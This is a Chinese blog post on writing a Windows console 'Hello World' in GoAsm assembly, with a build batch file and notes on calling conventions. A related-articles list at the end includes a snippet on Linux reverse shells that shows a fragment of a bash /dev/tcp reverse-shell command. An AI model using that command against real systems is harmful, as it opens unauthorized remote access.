试了下GoAsm
在VC里我们:
#include <windows.h>
DWORD dwNumberOfBytesWritten;
int main() {
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
WriteFile(hStdOut, "Hello World (from GoAsm)", 24, &dwNumberOfBytesWritten, 0);
return dwNumberOfBytesWritten;
}
某个Windows的头文件里(1. 示意。2. windows.h包含别的头文件):
typedef unsigned int32 DWORD;
#define STD_OUTPUT_HANDLE DWORD(-10) /* 0xfffffff6 */
HANDLE WINAPI GetStdHandle(DWORD nStdHandle);
typedef const void* LPCVOID;
typedef DWORD* LPDWORD;
BOOL WINAPI WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 新建文本文件2.asm,贴入如下内容:
.DATA
dwnumberofbyteswritten dd 0
lpBuffer db 'Hello world (from goasm)', 0ah
.CODE
START:
push -11
call GetStdHandle ; get hStdOut in eax
push 0, addr dwnumberofbyteswritten ; lpOverlapped, &dwNumberOfBytesWritten
push 25, addr lpBuffer ; nNumberOfBytesToWrite, lpBuffer
push eax ; hStdOut
call WriteFile
mov eax, [dwnumberofbyteswritten]
ret 再新建文本文件clr.bat (Compile-Link-Run),贴入:
@ECHO OFF
IF "%~n1" == "" (EXIT/B 1)
SET f=%~n1
GoAsm /l %f%.asm
IF ERRORLEVEL 1 (EXIT/B 2)
GoLink /console /debug dbg %f%.obj kernel32.dll user32.dll
IF ERRORLEVEL 1 (EXIT/B 3)
%f%.exe Hello world (from GoAsm)
ECHO %ERRORLEVEL% 最后clr 2或clr 2.asm,输出:
GoAsm.Exe Version 0.61.0.1 - Copyright Jeremy Gordon 2001-2017 - JG@JGnet.co.uk
Output file: 2.obj
Output file: 2.lst GoLink.Exe Version 1.0.3.1 Copyright Jeremy Gordon 2002-2020 info@goprog.com
Output file: 2.exe
Format: Win32 Size: 2,560 bytes
Output file: exe\2.dbg
Format: Win32 Size: 395 bytes
Hello world (from goasm)
25 Calling convention. stdcall、cdecl 和pascal简介
被调用者将参数从栈中清除的好处是:想象下有99处调用它,是99处加pop好,还是一处pop好?也省不了多少地方。
C语言支持可变参数数量。被调用者可能接收2个参数,也可能接收4个,堆栈如何pop? 不过我觉得可变参数数量和调用者清栈
没有100%的相关度:多传一个参数表示SP要挪多少不行吗? LPCVOID的L代表Long,16位时代的遗物,还有叫far的,表示指针是20位还是16位。 函数的返回值在eax里。 CALL/? IF/? EXIT/? 可看到批处理的帮助。

写了个MessageBox(命令行),兴冲冲贴上来,又发现5次里有1次MessageBox出来后,程序不动了。一生气删掉了。痛定思痛,可能是没指定堆栈大小(默认64KB). search(golink stack size)。还有折腾了半天argc, argv, envp后才想起来我们是调用main()的啊。GetCommandLine(). 哦还有search(goasm USES),USES EDI等插入push和pop edi指令。
试了下GoAsm的更多相关文章
- 试了下阿里云的OPEN Api
逐渐理解open api的意义,试了下阿里云的续费接口,续费一个月 package com.test; /** * @author * @date 2018/12/05 */ import com.a ...
- 屏幕測试亮点,新买了一个显示器,使用web简单的測试下了亮点
1,购买了一个新的显示器 趁着双11的时候价格廉价.入手了一个显示器. http://serve.netsh.org/pub/dead_pixel.bin 滚动下就能够换颜色了.把chrome最大化, ...
- 曹工改bug:centos下,mongodb开机不能自启动,systemctl、rc.local都试了,还是不行,要不要放弃?
问题背景 最近装个centos 7.6的环境,其中,基础环境包括,redis.nginx.mongodb.fastdfs.mysql等,其中,自启动使用的是systemctl,其他几个组件,都没啥问题 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- iOS下Audio自动播放(Autoplay)音乐
前几天做了一个H5活动页面,产品要求初始化播放音乐,因晓得H5 Audio标签支持Autoplay就没在意. 完了在手机上测试,发现手机上打开页面死活就是不会自动播放,点击播放按钮才可以播放,很是纠结 ...
- 一次ie8模式下click无反应的小事
想起了小学时候数不尽的一件小事,哎,那夕阳下的奔跑,是我逝去的青春啊. 言归正传,先上图: <select id="cardNoList" size="4" ...
- 使用Windbg在XP下Heap追踪失败的原因
1.故事背景 最近同事的代码中碰到一个bug会导致奔溃的bug,从dump上看是由于某个对象的堆内存指针被释放了,但代码仍调用了该对象指针的虚函数,从而引起内存访问违法崩溃,由于该类被大量使 ...
- linux下使用多线程编写的聊天室
自从开始学linux网络编程后就想写个聊天室,一开始原本打算用多进程的方式来写,可是发觉进程间的通信有点麻烦,而且开销也大,后来想用多线程能不能实现呢,于是便去看了一下linux里线程的用法,实际上只 ...
- myql数据库在cmd下,中文乱码的问题原因
使用navicat把数据导入数据库,这些数据都是中文,导入成功,显式也正常,但是在mysql cmd下都是乱码.检查了我的mysql配置,字符编码都是utf8,包括navicat连接时候也设置过是ut ...
随机推荐
- udev 使用方法
原文地址 http://blog.163.com/againinput4@yeah/blog/static/122764271200962305339483/ 最近有在研究SD卡设备节点自动创建及挂载 ...
- 求树的直径【两遍BFS】
两遍BFS.从任意一个点出发,第一遍可以找到直径的一端,从这端出发即可找到另外一端. 证明:从U点出发,到达V[画个图便清晰了] 1.如果U在直径上,则V一定是直径的一个端点. 2.如果U不在直径上. ...
- Django(74)drf-spectacular自动生成接口文档
介绍 drf-spectacular是为Django REST Framework生成合理灵活的OpenAPI 3.0模式.它可以自动帮我们提取接口中的信息,从而形成接口文档,而且内容十分详细,再也不 ...
- Openssl基本组成与应用
SSL与Openssl有什么关系? ssl是一种应用,表示安全的套接字层,是为那些明文应用提供加密机制的应用,openssl是一个实现该协议的库,当然还实现了其他很多东西,并且是open source ...
- Spring Cloud Gateway实战之一:初探
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 关于<Spring Cloud Gateway实 ...
- 【Azure 存储服务】代码版 Azure Storage Blob 生成 SAS (Shared Access Signature: 共享访问签名)
问题描述 在使用Azure存储服务,为了有效的保护Storage的Access Keys.可以使用另一种授权方式访问资源(Shared Access Signature: 共享访问签名), 它的好处可 ...
- 超过1W字深度剖析JVM常量池(全网最详细最有深度)
面试题:String a = "ab"; String b = "a" + "b"; a == b 是否相等 面试考察点 考察目的: 考察对 ...
- Window黑客编程之资源释放技术
前言 今天说一下写病毒木马会广泛使用的一种技术--资源释放技术.为什么我们在写木马时会使用到资源释放技术呢?这是因为它可以使我们写的程序变得简洁.如果程序需要额外加载一些DLL文件或者文本文件,我们可 ...
- 获取鼠标在 canvas 中的位置
一般情况 一般情况下,如果需要在 canvas 中获取鼠标指针坐标,可以通过监听鼠标的 mousemove(如果只需单击时的坐标,可以用 click)事件. 当事件被触发时,我们可以获取鼠标相对于 v ...
- Linux基础四:软件包管理
四.软件包管理器: 1.概念 红帽有两款软件包管理器,分别是rpm和yum. 1.rpm软件包管理器 -> 用来安装单个包 -> .rpm文件 红帽的安装包文件,都放在Packag ...